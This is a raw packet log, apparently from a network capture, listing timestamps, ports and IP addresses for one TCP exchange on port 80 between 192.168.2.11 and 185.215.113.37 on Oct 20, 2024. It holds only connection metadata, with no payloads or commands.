Oct 20, 2024 23:43:11.719455004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719470978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719482899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719482899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719497919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719511986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719517946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719532967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719538927 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719544888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719556093 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719563961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719577074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719579935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719588995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719603062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719604015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.719633102 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.719645977 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.860708952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860748053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860766888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860779047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860797882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860810041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860821009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860827923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.860832930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860846996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860862017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860863924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.860876083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860887051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860901117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860913992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.860937119 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.860944033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860955954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860966921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860979080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.860987902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.860991955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861004114 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861015081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861016989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861032009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861043930 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861067057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861248016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861259937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861270905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861293077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861310005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861372948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861385107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861396074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861407995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861413002 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861423016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861428976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861437082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861448050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861458063 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861460924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861474037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861475945 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861486912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861500978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861511946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861520052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861522913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861531019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861603975 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861629009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861641884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861651897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861665010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861670971 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861676931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861690998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861692905 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861704111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.861717939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861737013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.861759901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862272024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862289906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862302065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862310886 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862313986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862324953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862328053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862339973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862339973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862354994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862354994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862368107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862375021 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862380981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862396955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862397909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862416983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862422943 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862426996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862447023 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862447977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862463951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862472057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862474918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862487078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862498999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862500906 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862510920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862520933 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862524033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862536907 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862538099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862550974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862560987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862561941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862579107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862588882 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862591028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862603903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862606049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862617016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862632990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862632990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862644911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862658024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862658978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862668991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862674952 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862682104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862695932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862703085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862709045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.862729073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.862746954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904561043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904572964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904630899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904714108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904732943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904746056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904756069 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904758930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904772043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904774904 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904784918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904795885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904798985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904812098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904825926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904828072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904839039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904849052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904865980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904886007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904890060 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904897928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904907942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904922009 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904928923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904942036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904942989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904956102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904967070 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904968977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904980898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.904993057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.904994011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905006886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905019045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905019999 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905031919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905040026 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905045986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905056000 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905060053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905072927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905081987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905112028 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905322075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905334949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905364990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905386925 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905488968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905500889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905510902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905524015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905529976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905534983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905546904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905553102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905558109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905564070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905576944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905582905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905597925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905606031 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905611038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905633926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905635118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905648947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905648947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905666113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905674934 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905678034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905690908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905694962 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905703068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905713081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905714035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905729055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905740976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905741930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905756950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905759096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905769110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905781031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905791998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905795097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905805111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905811071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905817986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905828953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905831099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905844927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.905844927 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905873060 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.905894041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.906266928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906276941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906287909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906300068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906306028 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.906311989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906322956 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.906326056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906339884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906344891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.906368971 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.906393051 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.906795025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906805992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906847954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.906977892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.906990051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907001972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907015085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907016039 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907030106 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907033920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907047033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907048941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907059908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907073975 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907099009 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907290936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907301903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907313108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907318115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907329082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907341003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907352924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907361031 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907365084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907372952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907377958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907390118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907390118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907397032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907469988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907478094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907485008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907496929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907505989 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907509089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907516956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907529116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907532930 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907541037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907553911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907556057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907568932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907569885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907582045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907596111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907597065 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907608032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907619953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907622099 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907634020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907644033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907644987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907659054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907665968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907674074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907687902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907692909 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907716036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907736063 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.907963037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907975912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.907989025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908000946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908001900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908015013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908020973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908030987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908044100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908046961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908056974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908068895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908073902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908081055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908092022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908103943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908114910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908117056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908128023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908139944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908140898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908154964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908164978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908165932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908185959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908191919 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908205986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908209085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.908219099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.908231974 CEST	80	49708	185.215.113.37	192.168.2.11
